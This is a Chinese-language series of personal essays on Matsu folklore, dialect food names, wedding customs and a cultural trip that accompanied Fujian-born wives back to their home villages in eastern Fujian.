我們馬祖沒有這麼複雜的事。鄉親們在這段時日裡，在野外拔薺菜曬乾，以備夏天燒涼茶喝(見下圖)。從前，因為醫療資源不足，出痲疹的人一定要喝它來降低體溫，這雖然是土法煉鋼，但也是經驗之談。它的質性屬寒，所以，早期馬祖有一句俗諺語說：「薺薺菜憨涼」(參見陳高志：《馬祖俗諺析論 [二]》p.133)。小時候看到滿山遍野長著紅色小果實的植物，樣子垂涎誘人，父母親擔心孩子會誤食，每每警告說，吃了會「病啞」(啞吧。ㄅㄤˋ兀ㄚ+，pangˋnga33)。後來才知道那是枸杞。駐軍摘枸杞葉清炒，用薺菜葉包餃子，老鄉親反而笑他們是「荒鬼」(ㄏㄨㄛㄥˋㄍㄨㄟ+，huongˋkui33)。如今方知，這是最好、最健康、最天然的食物。

美味的野蔬除了薺菜以外，另一味就是「麥葱」了。長輩們相信，清明節以後的野葱是吃不得的，因為它已被鬼撒了尿。這當然是無稽之談。荀子說：「蓬生麻中，不扶而直。」30多年前在西莒任教，我看到學生拔的野葱，其長度如一人之身高，讓我嘆為觀止。當時對他們開玩笑的說，一根野葱就可以煎一張蔥油餅，其實這不見得是誇張之語(見下圖)。

隨著民智日開，傳統的風俗習慣必然會逐漸式微。提倡復古，大可不必。但話說回來，若能在三月三這一天，比照端午節插菖蒲，掛一串薺菜在門柱上，那也是很好的事。尤其是在吃野葱、喝涼茶時順便說相關的故事，對親子關係的建立，一定會有助益的。

從前每一次去福州，只感覺大陸的硬體建設速度很快，最近兩次去福州，在市中心的居民，人文素養也在提升之中。街上的垃圾少了，過去此起彼落的機車喇叭聲也安靜多了。幾年前，吳處長在專員任上，領導潘館長、翁老師、桂香小姐和我到琅岐島做文化採風。春雨綿綿，寒意襲人。我們自備飲水、隨手將垃圾收進背包、進屋前抖盡雨傘水滴、並重踩鞋底以去除汙泥、…，自治自律的細節，看在共產黨高幹眼裡，令他們大為驚訝。我告訴他這是生活教育的可貴。那一天正好是元宵節，「擺暝」迎神的活動，從中午就揭開序幕。我看到攤販在賣冰糖葫蘆，這種零食馬祖話說「山楂」(ㄙㄤ ㄐㄧㄚ，sang jia)，雖然名稱如此，但實際上是用「榆甘」(ㄩ ㄤ，y ang)蜜餞澆糖汁做成的。「榆甘」的樹種是落葉小喬木，結的果實，黃綠色略帶酸味，多半是製成蜜餞食用。過去南竿唯一賣山楂的人是來自福澳村，他肩上扛著稻草紮的半截圓柱體，其上插滿了並暴露在空氣中的「山楂」，若是夏天，會用紗網罩著。他左手持竹筒，右手抓著一大把竹筷子，將它在竹筒中上下甩著，發出沙拉、沙拉的聲音。這種針對性的、專屬的號子聲響兩岸都一樣。下圖(上)是浪岐島賣「山楂」的實景，下圖(下)是福清石竹山的「山楂」攤販(請注意他們手中握持的罐子)。前者有半數加了塑膠套，後者無一裸露在空氣之中。前後幾年的實景對比，文化進程、觀念進步卻表露無遺。

到嶺南拜訪秀燕娘家。中午用餐畢，經過備菜走道，我看到了難得一見的魚膘(見下圖)。「魚膘」的馬祖話說「魚膠」(兀ㄩ ㄍㄚ，ngy ka)。從前的馬祖，黃魚、鰻魚、鮸魚非常多，鄉親們將這些高經濟價值的魚膘貼在石牆上，任其日曬或風乾。乾燥後的魚膘台灣市面上稱之為「花膠」。這是高蛋白質的珍饈，被老鄉視為補品之一。此物因富含膠質，早在越王勾踐時代，就有人用魚皮和它熬煮成黏性極強的「強力膠」，供民生、軍事用途。我在台灣逛傳統市場時，偶而會遇到賣新鮮的魚膘，買回家並且貼在牆上曬乾備用(見下圖)。台灣市場賣的魚膘絕大多數是來自草魚、鰞溜(？ㄨ ㄌㄧㄡ)，料理後獨缺馬祖人夢寐以求的「魚腥」味。所以，吃了幾次之後，也沒啥興趣再去處理它了。當天看到新鮮的魚膘，真想點一道來品嘗，並藉此做烹調觀摩。因為主辦單位預算已定，不便開口多做要求，以免超支預算令人為難。若是自助旅行，我一定不會錯過這個機會。

參觀過「九頭馬」民居之後，我們轉往林秀家。在林家祠堂的大廳中，迎賓的「太平燕」早已備妥了(見下圖)。早期的馬祖習俗，和福州傳統有異有同。福州人忌用鯧魚招待岳母，因為「鯧」和「娼」同音，易生誤解。(見李鄉瀏、李達著：《福州習俗》p.33)我們馬祖無此顧慮，因為「鯧」與「繁昌」能做聯想。福州話的鴨蛋(鴨卵)音同「壓浪」，對海上營生的馬祖鄉親來說，這是大吉大利的兆頭。所以，從前老一輩鄉親口中的「太平」是專指鴨蛋而言。只是小地方飼養鴨子的規模不如閩東原鄉(見下圖)，後來「太平」之名逐漸被雞蛋所取代了。

「太平燕」是馬祖地區最尊貴的點心，這是有原因的，請聽我道來。有時候客人臨時來臨，沒冰箱就沒魚丸存貨，此時用水煮蛋煮冰糖一樣能端得上檯面。在物資貧乏的年代，作客吃點心時，必須留下最後一、兩口，不使碗底朝天，如此才算有教養，今天已不見此「陋習」了。日子清苦時代，許多重要的餐會，總會伴隨著一些儀式以示隆重。有些生活細節，中老年人也許早已忘記，那未經歷過的年輕人聽我講古，當然會有「白頭宮女話天寶舊事」的感覺。舉一個例子來說，傳統的馬祖婚宴要舉辦三天。其中的八個小餐稱「飯囝」(ㄅㄛㄥˋ兀ㄧㄤ+，puongˋngiang33)，三大宴稱「大酒」(權宜注音ㄉㄛㄩˋㄐㄧㄡ+，tøyˋʒiu33)。那時沒電話，村公所也沒擴音器設備，通知喝喜酒不能「歕螺棬」(吹海螺。權宜注音ㄅㄨㄥ+ ㄌㄛㄩ+ ㄨㄛㄥ+，pung33 løy33 uong33)，只好派人在村莊裡敲鑼，口中要喊著：「拍鑼食酒菜凍呵了！」(這句話不合邏輯，因為根本還沒上菜，離開動的時間還早呢。)。新郎必須到外村的親戚家通知來喝喜酒。這不過是形式而已，卻苦了忙進忙出的新郎，這個動作稱為「喊酒」(權宜注音ㄏㄤˋ ㄐㄧㄡ+，hangˋʒiu33)。酒席廚務是在自家附近空地搭臨時爐灶外燴，宴席是擺設在好幾戶鄰居的大宅內。也因為如此，馬祖傳統喜宴無新郎、新娘送客這回事，因為實在是無從送起。為了統一發號司令，宴席開動時會燃放鞭炮一串，這是當時「公訂」的規矩，大家都能理解遵守。酒席的「太平燕」和做點心的「太平燕」不同，酒席「太平燕」的蛋須經油炸，外省來的阿兵哥稱它為「虎皮蛋」，隨著飲食的健康概念增強，後來也省略了油炸這道手續。(2015.10.28，我曾在《馬資網》張貼一篇小文章：〈說「太平」〉有提及此事。)沒有「太平燕」的酒席，表示這餐不算數，所以，開始出「太平燕」時，必須再燃放一串鞭炮以示崇隆。因為端上「太平燕」時已近宴席尾聲，所以，大家誤以為此「炮」是為宴席結束而放。其實不是，因為後面還有「八寶飯」和「旺來湯」，孩子們正摩拳擦掌的等著它。

馬祖傳統的喜宴，沒有夫妻同時出席這檔事，都是一家一人代表赴宴。酒席開始之前，各桌都會傳遞紅紙單簽寫收喜帖者的大名，以方便統計人數。喝喜酒是天大的事，凡是出席者，尤其是大姊身分的女生，父母親一定會要求她帶「酒包」(權宜注音ㄐㄧㄡˇ ㄅㄡ，jiuˇ βou)回來。所謂「酒包」，就是用手帕提菜餚的意思，當時塑膠袋可用，所以，才有如此特殊情景。哪些菜能帶或不能帶，大家都心知肚明。喜宴上的魚丸有兩種，大顆有餡的稱「大丸」(權宜注音ㄉㄛㄩ ㄨㄛㄥˋ，tøy uongˋ)，小顆無餡稱「嫩丸」(ㄋㄛㄥ 兀ㄨㄛㄥˋ，nong nguongˋ)。大顆一人兩粒，兩粒全帶走可以，一帶一吃也行。其他能帶的是：油炸魚、蛋、糕餅、糖醋排骨…等，多半是一人一份的乾貨，如此動作並不會引人側目，因為許多人都這樣。(有關喜宴的事就此打住，因為已經離題太遠了。)

到梅花參觀「琉球國蔡仙府」途中，我們看到煮鯷魚的小型加工廠(見下圖)，碧容說這是真正的鯷魚，是曬「鯷囝乾」(ㄊㄧˇㄧㄤˇㄍㄤ，thiˇiangˇkang)前的必要程序。它的體積小，肉質不油膩，曬成乾之後較能存放。另一種個頭稍大、瘦長型，類似馬祖鄉親所說的「河母？」、「河囝？」(ㄛ ㄧㄤ+，o iang33)，梅花人稱「花鯷母」(ㄏㄨㄚˋㄌㄧ+ ㄇㄛ+，huaˋli33 mo33)。大而無當，不易保存，存放不當會有臭油脂的味道。馬祖有一句俗諺語說「鯷頭 [魚翁] 肚」(ㄊㄧˇㄊㄠˋㄨㄥˋㄉㄡ^)，意思是說，鯷魚頭的味道絕佳，尤其是炸過的魚頭沾蝦油，味美無比；[魚翁]鯷的肚子苦中帶甘，甘、苦同嚼，妙不可言。鯷魚乾的味道鮮美，是煮米粉湯、鼎邊抆(新世代的馬祖人稱「鼎邊糊」，而大陸的連江人則稱「鍋邊」。)不可或缺的配料。花鯷母雖大，但是它的價位略遜。馬祖諺語說：「丁香魺(ㄎㄜˇ)越(ㄨㄛˋ)大越(ㄨㄛˇ) [勿會] (ㄇㄝˇ)值錢」，同樣的，買鯷囝乾若以為體「大」便是美，結果買到的是花鯷母，那就吃虧上當了。

到福州拜訪林丹兄嫂，滿桌的傳統點心都換了「新妝」(見下圖)。當天吃的「莓梨糕」，吃得到當中荸薺的顆粒。小時候在馬祖吃的，是將煮熟的薯粉(一種地瓜粉)水倒進模子，再用冷水冰鎮使其凝固，粗糙而不滑嫩，霑糖水吃只是聊勝於無。福州純米做的朦糕(鬆糕)，質地膨鬆柔細。這些都是道地(大陸用語說「地道」)的糕點。但是，過於精緻，和貧窮年代的馬祖原味相差懸遠，所以，反而失去了童年回憶的親切感。

最後一天來到曉澳。坐在車上，榮光兄沿途導覽風景。大夥往外一看，一望無際的沙灘，令人嘆為觀止。沙灘上居然能畫分出養殖海蟶、牡蠣的專業區塊，這對海島長大的我們來說，實在難以想像。岳父在世時，常常提起家鄉養殖竹蟶的故事，如今來到曉澳，對岳父老家養殖的榮景，應可舉一反三做出聯想。養殖竹蟶的地方，福州話說「蟶埕」(ㄊㄟㄥ ㄋㄧㄤˋ，theing niangˋ)。經過曬乾的蟶肉是高尚禮品之一(見下圖)，以它熬煮豬小排，再滴一些米酒，香醇的口味不輸給「蝴蝶乾」。外地人或許嫌其腥臭，但閩東人的幸福感卻建立在此。中午用餐，吃著類似馬祖口味的菜餚，喝著略帶酸甜的曉澳老酒，上午的話題持續不斷。只因為航班時間緊迫，所以，意猶未盡的談興，卻不敵汽車師傅的聲聲催促。

在下榻的旅店裡，每天供應的早餐中，都會有「蠣餅」和類似小甜甜圈的油炸食品(見下圖)。「蠣餅」(ㄉㄧㄝˋㄅㄧㄤ+，tieˋβiang33)無人不知，有人將它寫成「[虫弟] 餅」。至於小圈圈的油炸食品大家叫不出它的名稱。其實它叫做「蝦酥」(ㄏㄚ ㄌㄨ，ha lu)，它的外殼就是「蠣餅漿」，鹹的口味，包在裡面的是韭菜等。馬祖四鄉五島中，據說只有小香港時代的青蕃(今天的西莒)村有賣，如今在馬祖已不見它的蹤影，只留下一句「蠣餅無蠣，蝦酥無蝦」的俗諺語了。

人類生活是受風土氣候的制約，所以，馬祖人對海產的偏好是理所當然的。中學畢業後來台念書，每日「無魚不飽」的困擾，無法用淡水魚來解決。離鄉已久，台灣的一切早已適應。但是，一到福州，生活步調雖不見得能完全習慣，唯有面對海鮮料理時，能讓味蕾開啟懷舊的旅程，讓一樁樁、一件件的童年往事，鮮活的跳躍在眼前。

這次「走親」的範圍是在閩東一帶，以文化區域來說，只有畲族的生活方式和我們不同。走親團第一站來到細珠家，藺家以高規格的「陣仗」來迎接我們的到來，每一道點心都是大家前所未見的。其中以「烏米飯」最引人目光，當場就有人捏一撮沾白糖吃著(相關的照片，本系列的文章已出現多次，故本文從略)。依當地習俗，它除了用在迎賓之外，也是農曆三月初三「上巳日」的應景食物。「上巳日」的活動是多彩多姿的。如，郊外踏青、贈花會友、流觴修禊…等，在《詩經‧鄭風‧溱洧》以及後來的王羲之〈蘭亭集序〉中都有描述。從文獻看來，這一天其他民族也有慶祝活動，由此可見，它不僅在中國流傳已久，而且廣泛的被各民族所重視。我們馬祖也不例外，從前社會上流傳一句俗話，「三月三，搭門青。」意思是說，三月初三這一天，民眾會將薺菜掛在門上(見下二圖。上圖是可燒成涼茶喝以及用來「搭門青」的薺菜，下圖是曹祥官課長拍攝的。)相關的民俗，我將另文介紹。

「三月三，搭門青」之薺菜

農曆三月三也是畲族的「烏飯節」。烹煮烏飯的過程並不繁複，先將糯米浸泡在烏稔樹的葉子水中半日，然後入蒸籠蒸熟即成(網路知識)。這一天，也是他們男女山歌對答歡唱的日子。說到這裡，不禁想起馬祖也有賦米食以特殊意涵的實例，尤其是對糯米的特殊「感覺」，真是很難與外人道。鄉親對它的「渴望」是有原因的，因為在戒嚴時代，此物被視為管制品。目的是杜絕百姓私釀「紅酒」(馬祖長輩稱老酒)的機會，以免影響到酒廠老酒的銷路。年輕的朋友很難想像，在我們小時候，想吃粽子要等端午節時，要吃湯圓得等到「冬至」。應景的食物都是配合節日出現，所以，一年當中「幸福感」的到來是能預期的。當時逢年過節，村公所會吩咐鄰長，依照各家戶的人數來配給糯米。若無其他來路，分配到的糯米，必須靠省吃或儲存(或特殊情形專案申請購入)，方有餘糧可移作它用。小朋友也許會問：「為何不向台灣進口？」這是「何不食肉糜」的問題。若此路可通，我們也不會吃那麼久的戰備米糧了。

包粽子、做八寶飯、蒸老酒雞肉飯(見下圖)必須用糯米，那是因為它的質性關係。物以稀為貴，注重食補的鄉親(華人的傳統都是如此)，必然會把糯米升格為補品。小時候我牙疼，家母用「黃梔頭」(野生梔子花。ㄨㄛㄥ ㄍㄧ ㄊㄠˋ，uong ki thauˋ)蒸糯米給我吃，而且交代要用痛的牙齒嚼食。大人們深信，如此藥性才能滲透到病根處，進而達到醫療效果。現在回想，真的有一點滑稽。產婦坐月子一定得吃「硣飯」(將糯米裝在陶罐裡，置於灶內枯草灰燼中煨著。ㄍㄠˋㄅㄛㄥ^，kouˋpuong242)。村莊中有一位船東，每個月至少要吃一次老酒蒸糯米飯。在如此氛圍之下，以它製成的食物待客感覺最具誠意。但有時也會有特例，福州話另有專名的「草包飯」(見下圖)；出殯時，出嫁的女兒致送抬棺者木桶蒸飯，有時不用糯米，因為前者畢竟只是「零食」，後者之喪家若屬貧戶，抬棺者也能多所體諒。

好的人、物每個地方都想要，因為與有榮焉。所以，李白的籍貫至今仍有異說，韓國人想把孔子入韓國籍，其道理都是如此。馬祖有一種炭烤的餅，外表沾芝麻，略帶鹹味，剛出爐時香氣滿溢，待其冷涼則嚼勁十足。將其掰開，夾入其它食材如蛋煎牡蠣等，則成了馬祖極具代表的風味美食，甚至是可上宴席的大菜之一。它的名稱叫做「繼光餅」，長期被台北人誤稱為「光餅」。光餅個頭小，無芝麻，今天已不見生產了，南門市場所賣的是改良版的(見下圖)。原本繼光餅只是庶民小吃，但是，它的來頭不小。寧德人和福清人都認為自己的縣份才是它的發源地。岳父在世時，稱它為「鹹甘餅」或「福清餅」，而大部分的馬祖人則稱它為「鹹餅」(ㄍㄟㄥ+ ㄇㄧㄤ+，keing33 miang33)(見下圖)。

來到福清的石竹山景點，到處可見賣繼光餅的流動攤販。當地人稱「紫菜餅」(見下圖)，因為有內餡，不可能製成帶有可穿線的小洞，如此就很難附會戚繼光滅倭寇的故事了。從它外觀看來，很像過去馬祖賣的「瓝瓝餅」(ㄆㄠˇㄆㄠˊㄅㄧㄤ+，phauˇphauˊpiang33)。有鄉親將它寫成「膨膨餅」，意思對了，但字音完全不合。這種餅最大的特色是：外觀隆起、口味香甜、餅的中間呈空虛狀態(見下圖)。「紫菜餅」的內餡除了包紫菜以外，另有包酸菜的。因為口味陌生，再加上外殼遇冷而硬，總覺得口感不如馬祖的繼光餅。 

福清另有一個特產就是名聞遐邇的「番薯錢」(音變後權宜注音為ㄏㄨㄤ ㄋㄩ ㄧㄢˋ，huang ny ʒiengˋ)(見下圖)。岳父生前常常提到它，屬高檔食物之一，它是用地瓜心切片曬成的。我們到了惠雲的家，任先生也是福清人，特別展示福清的土產—帶殼花生與番薯錢。花生稀鬆平常，但後者我只是耳聞卻從未見過實物，如今，東西擺在眼前，喜出望外之餘，相機快門按個不停。任先生說，當年飢餓時代，平常捨不得吃，只有在過年時用它來解饞。數十年前的馬祖，生活條件也好不到那裡去，老人家「講世事」(話說從前。ㄍㄛㄥˇㄒㄧㄝˋㄌㄛㄩ^，kongˇsieˋløy242)時常常會說，「臭番薯米食無飽」。在我的記憶中，惜物的鄉親，在煮地瓜、煮絲瓜時都是用「鼎杼」(鍋鏟。ㄉㄧㄤˊㄊœ+，tiangˊthœ33)來刮，而捨不得用「蒲耙」(刨刀。ㄅㄨˇㄅㄚˋ，puˇpaˋ)來削。否則一定會被視為暴殄天物。鄉親在 [石蔡] 番薯米時會把地瓜心做特殊處理，這也是極珍貴的食材，不是住在同一個屋簷下的人都能吃到。(待續)

2月4日（福州→嶺南→梅花）

今天排兩個行程，都在長樂，早上到「嶺南」拜訪秀燕家；下午轉梅花，拜訪秋鶯與碧容家。

馬祖人稱「嶺南」為「嶺前」。我媽媽娘家在嶺南附近的鳳井塘，從小就常聽她提「嶺前」，一直不知就是嶺南。後來查書才明白，嶺南村環繞西湖，東南方向依傍雁山，有「飛雁落湖」之姿。雁山與鴻山對峙，中間隔著長石嶺，居高南望，嶺之前也是嶺之南，所以又稱「嶺前」。

有一句福州話燈謎「衣服顛倒穿！」打一地名；謎底是：「嶺前」。衣服穿反了，衣領在前，有意思吧！

嶺南人幾乎都姓陳。「陳」在馬祖是大姓，每四個馬祖人就有一位姓陳，如果繼續問下去，大概將近一半會說是「嶺前人」，早年從嶺南移居馬祖，四鄉五島都有。

我們到嶺南時，村長陳長謀及幾位領導已等在村頭，見了面，語言相通，分外熱絡。陳村長外號「參謀長」，40來歲，看起來幹練務實、果決明快，附近幾個村都認識他。為了將嶺南建設成旅遊與文化名村，鐵腕拆了一百餘棟老舊房子，魄力驚人。

他說，馬祖許多族人曾回到嶺南尋根；他卻相反，他的祖籍在馬祖白犬。他解釋：「我父親年輕時從白犬來大陸辦事情，國共對峙後，海峽封鎖回不去了。」他們家祖墳在白犬青蕃半嶺，曾親自去掃墓，當地人帶他上山，荒煙漫草，找不到了。

歷史就是這般荒謬，有人從這邊回不去，有人從那邊過不來，是非對錯，端看你站在哪個高點。

嶺南村環繞西湖，山色湖光，得天獨厚。他說，西湖是潭頭最早的水利工程。東晉大善人嚴光，造福鄉里，而有舍田為湖之義行，將附近溪流導入湖中，以利灌溉。福州話：「嶺南好地場，池螺蓮角半年糧。」一千多年來，嶺南的陳氏族人環湖而居，採擷蓮角、荸薺、田螺，並引湖水種植水稻，可以說是母親之湖。

嶺南村九成八都姓陳，卻有一位姓馬的明朝永樂狀元－馬鐸。「代駕郊天」一日皇帝的傳說，在閩劇、評話與民間伬唱都有搬演，為潭頭人津津樂道。馬鐸故居位於雁山之麓、一棟七柱六扇五間的明代官宅。

馬祖鄉紳陳道茂先生，曾於民國83年主持修繕陳氏祠堂，道茂先生墨寶「嶺南陳氏祠堂」立於祠門上方。祠堂前對聯是明朝工部侍郎，也是陳家女婿董應舉手書：「沙堤突出雁峰高雲樹萬年雨露；石井迴連湖漵合水天一色波瀾」。池塘面對西湖，波光瀲灩，實是風水寶地，無怪乎唐宋以來，出了狀元、進士、舉人二十多位。

秀燕家在西湖邊陲，位於一排連棟2層樓間。門前小院，擺上桌子板凳，桌上滿是飲料點心。秀燕兄弟還拿出很昂貴的中華牌香菸待客。我們也感染到秀燕一家的歡喜，氣氛非常融洽。

秀燕家務農，有兩個妹妹、一個弟弟。因為家貧，身為長女，十三、四歲便失學，田裡種稻、湖中採馬蹄，百來斤米穀一肩扛，氣都不喘。成年後在金鋒紡織廠上班，因為是師傅級，月薪有1千多人民幣。

秀燕的媽媽是四川人。從小被村人喊「兩個聲」、「四川囝」。「兩個聲」在馬祖是對軍人、阿兵哥的泛稱；但在長樂，卻是指外地人，有非我族類的語意在內。秀燕爸爸，身體不好，整個家幾乎都靠媽媽撐著，平時耕地、施肥，農閒便往金峰鎮，踩三輪車載客掙錢。

秀燕的叔公早年移居「外頭山」馬祖，入贅張家。秀燕25歲，經叔公介紹，與無血緣關係的叔公繼子成親，嫁到南竿梅石。叔公成了公公，親上加親。

初到馬祖，秀燕很不適應。她說：「第一次來馬祖，在馬尾搭船，滿懷對台灣的憧憬，心想馬祖屬於台灣，一定是個車水馬龍，大樓林立的地方。到了馬祖，簡直傻眼，比嶺南還不如。」

剛開始借助車船處的宿舍，人生地疏，很不習慣。那時手機、電話還未普及，想家就燜在被子裡哭，還好有先生的支持、安慰。民國94年以後，兩岸關係比較和緩，到警察局換證件、補辦手續就可延長居留。兩年後，孩子出生，她才第一次回嶺南探視媽媽。

她現在住梅石老街自己的房子，每天送女兒上學，到山隴買菜，去福澳加油站幫員工煮午餐、洗碗，一家人生活單純、充實。她很注意女兒教育，從未錯過親師會。母女相處如姊妹，給女兒開放空間，也會適時收攏。媽媽與親戚也來過馬祖幾次，覺得馬祖環境整潔乾淨，雖然冷清了些，但馬祖人好相處，有人情味。

秀燕說，馬祖有很多嶺南人，她只是比較晚來而已。她不希望別人喊她「大陸仔！」就像小時候，不喜歡別人叫她「兩個聲、四川仔！」在馬祖住了十多年，已充分融入馬祖生活，女兒與同學、朋友相處融洽，從來沒有大陸人與馬祖人的區分，就這點而言，要向孩子學習啊！

午餐回到金峰鎮上。陳長謀村長說，今天大年初八，適逢嶺南年度「遊神」。機會難得，潘建國館長與游桂香女士，這兩位馬祖民俗專家最興奮，大家決定更動行程，感謝蕭經理協調，午餐後再回嶺南看「遊神」。

遊神從下午一點開始，隊伍集結在村公所前廣場，鑼鼓喧天、鞭炮震瓦，鄰近各村、寺廟的人馬都到齊了，我甚至看到遠從琅岐來的「閩樂隊」。我們在二樓村長辦公室居高臨下看遊行，潘、游二位，還有攝影師則在陣頭中穿梭，獵取鏡頭、記錄影像。因為路途遙遠，各陣頭都有小貨車、拖拉機、三輪車載運神像、神輿、神偶。除了鑼鼓，還有絲竹琴韻、中西樂隊。村長說，最晚出發的隊伍要到晚上九點才回到原點。

後來潘館長問陳村長：「嶺南有鼓板嗎？」陳村長眼睛一亮，好像遇到知己，立刻拿出一張印得不是很清楚的「鼓譜」，是他父親留下的。鼓譜文字、記法與馬祖有些差異。村長略加說明，潘館長便與他「況得～況得～」，嘴上打起鑼鼓來。

兩人合奏，第一段結束，居然與鐵板鼓板分毫不差。潘館長很激動，好像聽到百年前先人的鼓樂，從這裡飄洋過海，在童年的鐵板天后宮廣場陣陣揚起。

鼓譜很短、很輕，但是其中記載的內涵卻是悠遠而沉重啊！

午後約三點，啟程往梅花鎮。

2月3日（寧德→福清→福州）

今天南下，往福清石竹山道教聖地遊，再到福州台江區拜訪任惠雲娘家。路途遙遠有200多公里，食畢豐盛的早餐，八點即驅車南下。

抵石竹山景區，已近中午。景區入口許多攤販在賣「福清光餅」，各家賣得都一個樣式，類似馬祖繼光餅，有包餡跟不包餡兩種，只是體型稍大。惠雲遞過來一塊，很有嚼勁。這種耐咬耐磨的芝麻烤餅，確實符合當年戚繼光兵馬倥傯的需求，但對已齒牙動搖的我，似乎勉強了些。

馬祖福清祖籍移民不多，北竿后澳有幾家，人稱「福清哥」。楊綏生縣長曾轉述母親說的一段歌謠，以福州話押韻唸出，甚有趣：「妹呀跟哥去福清，食穿週全伓使驚；上北菜果福清出，花生薯芊任妹搬。」講的是「福清哥」輕佻炫富，愛追女朋友。

實際情況並不如此。明清以來，福建沿海包括福清、長樂、連江在內，「八山一水一分田」，農耕環境不佳，許多人落跑海外討生活，因而有僑鄉之名；另一方面，臨海而居的子弟，日夕面對浩瀚無垠大海，心思往往飄過海平面盡頭，探索那端未知、神秘的廣闊世界。80年代前後，偷渡至台灣、日本、美加的打工族，也以福建人居多，「福清幫」、「連江幫」的名號，不脛而走。

石竹山道院位在狀元峰半山腰懸壁，紅牆橙瓦、飛簷騰空，始建於唐代，是一座以道教為主，同時融入儒、釋的道院。山腳下是東張水庫，碧波萬頃，一座狀似鯉魚的小島點綴中央。都大年初七了，上山燒香的人潮不斷，光是排隊搭纜車就耗去半個多小時。

原來此地與北竿芹壁「龍角峰」一樣，是遠近馳名的「祈夢」之地。寺內奉祀何氏九仙君，主殿兩側鋪上草墊，許多婦女上香獻供、頂禮膜拜之後，便闔衣閉眼，祈求九真仙君，托來各式夢境。

托爾斯泰說：「幸福的家庭都很相似，不幸的家庭各有不幸！」期望祈夢之人都能找到各自的夢境，在如幻似真的瑰麗世界，為疑問找到解答、為困阻指示生路、為不幸尋求安慰。

午餐返回福州。車子在大街穿行，多年不見，福州長高了，也變美了。記得七、八年前，火車站附近華林路一帶，地面髒亂、喇叭震耳，人車爭道， 根本沒有分道行車、行人優先的觀念。走著走著，不時要注意摩托車無聲竄出，以及從耳際疾射而過的一口飛痰。

惠雲的爸媽住在鰲峰路，鄰近閩江，附近都是四、五十層樓高的電梯大樓，非常雄偉壯觀。惠雲說，2009年老家拆遷，大陸政府配了兩套安置房。一套自住，另一套出租。我們搭電梯直達12樓，惠雲的爸爸、媽媽、弟弟、弟媳，還有滿桌子的瓜果點心，已經等在家裡了。

伯伯（惠雲爸爸）是福清人，年輕時來福州奮鬥，80多歲了，精神奕奕，硬朗健談。不僅福州話比我們流利，普通話也琅琅上口。他對馬祖人的原鄉（長樂、連江）相當孰悉，曾經任職水產公司，掌管採購、運輸、配銷。

伯伯說：「以前長樂、連江各鄉鎮、公社，都有漁業生產大隊，最初是定置網，捕撈蝦皮、帶魚；80年代以後逐漸改成拖網，一、二百艘漁船同時出航，非常壯觀。南邊到浦田、泉州，北邊到寧德、溫州。90年代以後主要是雙拖，一張大網兩艘漁船拖行，如果鯷魚滿網，人都可以踩著走過。」

這讓我想到，60年代在東引捕黃魚也有類似說法：「多得可以從這艘船踏著魚身到另一艘船去。」正當大陸風風火火發展近海漁業，而一水之隔的馬祖，漁撈已然蕭條沒落，鄉人紛紛移居台灣，進入大小工廠另謀生活。

這麼果決的離去，是因為生產技術落後？還是產銷出現瓶頸？是軍管限制過多？還是源頭處已被萬馬千軍的大陸漁船攔截？也許哪天，也要去福清石竹山，或者到芹壁龍角峰，睡一覺祈夢，聽聽神明在夢裡怎麼說。

民國82年，經親戚介紹，在台商工廠上班的任惠雲，與從馬祖遷居桃園的黃寶清先生交往，一年後在福州結婚，惠雲24歲。婚後住福州娘家，長子也在那裏出生。隨後，像大陸嫁來台灣的所有新娘一樣，囿於法令，只能在台居住三個月，再申延三個月。

惠雲說，沒有身分證，在台灣不能工作，大陸也僅能零散打工。她們並不富裕，政府要求必須備妥回程機票，才能入境台灣。辛苦經年，省吃儉用勉強湊足人民幣5千元買張來回機票。那時香港尚未回歸，大陸人過境香港還得入境辦簽證，不會講廣東話，搭個計程車都要比手畫腳半天。

最不能釋懷的是，大陸配偶取得身分證的等待時間，居然比東南亞配偶還長。

她不懂，兩岸同文同種，自己都已經嫁到台灣了，到底在防範甚麼？

民國91年，經過漫長的八年等待，惠雲取得居留權，再經兩年，終於領到身分證，附帶條件是喪失中國公民資格。可台灣人擁有大陸以外雙重國籍的人比比皆是啊！

民國91年開始，惠雲已有居留權，不必往返大陸、台灣，他們一家從僑愛返回馬祖定居。因為馬祖生活條件低廉、環境單純、人情味濃；更重要的是，這裡的人跟她講共同的語言，好像回到故鄉一樣親切。

民國103年，惠雲先生黃寶清在仁愛村鄉親的鼓勵與支持下，當選村長。他們深感責任重大，努力做好社協工作，服務村民，讓仁愛村在過去的基礎上，建設更完備，環境更美好。

她非常感謝鄰里、鄉親對他們一家的照顧，感謝學校老師的教導，讓她的三個孩子在這麼完善、友愛、安全的環境茁壯成長。

惠雲說，馬祖人的親切、友善，讓她忘掉過去的屈辱與辛酸，也讓她重新感受作為一個人的平等與尊嚴。

感謝馬祖！

年前，文化處吳處長及游桂香女士來電，希望我能參與「跟著福建女兒走親戚」計畫，走一趟閩東沿海，並協助做文字紀錄。我看了計畫書，深覺極有意義，一方面體現政府對大陸婚配家屬的關懷；另一方面也藉此機會，對移居者個人與集體生命經驗，有更深一層的理解。遂拋下例行工作，跟著嫁來馬祖的福建女兒回娘家走親戚。以下是此行雜感，期望透過文字與圖像，讓同樣在島嶼生活的你我，相互關心，彼此包容，一起追求更美好的未來。

2月2日（馬祖→黃岐→福安）

今天極冷，氣溫大約10度。同行團員陸續來到福澳碼頭，都裹著厚厚風衣。潘建國館長、高志兄、游桂香女士及楊前縣長夫人是舊識。其餘團員包括細珠、惠雲、林丹、秀燕、嫻婷還有她們家人，攝影師陳學興以及2位工作人員隨行，都是初次見面。另外秋鶯、碧容搭下午船班，林秀趕到福州會面。

吳處長冒著寒風前來送行，叮嚀鼓勵，為寒凍天氣增添幾許暖意。一行搭上9點往北竿白沙港航班，轉乘10點航向黃岐的閩珠八號。

北竿到黃岐航路隔絕四十年之後，前年重新開通。四十年來，除了巡航軍艦、補給船，以及在中界線遊走，不敢越雷池一步的漁船之外；溝通兩岸的就只有肅殺陰狠，在海域上空淒厲呼嘯的砲彈，給兩岸許多家庭帶來絕望與悲傷。

而更早之前，在我父輩年輕時代，這個航路可是漁歌號子、千帆雲集，錨纜將島上魚獲運往梅花、曉澳，載回米糧布匹與石塊木材。那個時節，出海不必檢查，當然也不會聽到：「各位旅客，回程嚴禁攜帶動、植物產品，肉鬆、福州魚丸…」的廣播提醒。

大陸的連江縣是海產重要產區，黃岐又是箇中翹楚，港灣停泊數十艘百噸級拖網漁船。每回搭立榮航班接近馬祖海域，從空中俯瞰，那些成雙成對、來回梭巡的漁船，大概就是這批鐵殼船在作業。日夜撈捕、滾輪雙拖，馬祖十多噸的機動帆船，40年前就已敗走臺灣了。

